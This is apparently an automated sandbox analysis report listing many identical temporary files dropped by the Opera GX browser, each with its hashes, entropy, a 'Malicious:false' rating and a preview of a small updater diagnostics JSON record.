                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d93bb.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d93ea.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9448.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9477.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d94d4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d94f4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3d9523.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da5dc.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da60b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da659.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da678.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da6a7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da6d6.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da734.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da772.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da7b1.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da7c0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da7ef.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3da80e.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// vfq9HJ2wLqxKl6Oiv7lITbP+B/Fywe2qUvzyM7aXeUs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\ssdfp4816.1.1813405799~RF3daabe.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):171
                                                                                                                                                                                                              Entropy (8bit):5.6346762933132135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:851DAFBE1EEF179A7DC88911F23286DE
                                                                                                                                                                                                              SHA1:2C0B613CFD7E93DA7E61BD1AF5CE267F9D57F4FF
                                                                                                                                                                                                              SHA-256:4C5DBB83D34693EF6D549E8D2BF445686C81748F1EECCA156BD8D6C52EADEEA3
                                                                                                                                                                                                              SHA-512:9FBE98DDAC0627483E15AD1138B4D3B7C129050241C3818CE695BCCD4ACAC0E0505FD96B04DA65D6EE229F9A76CBB18A2ECC5A381834B5DA9D2D5B18C54EC062
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
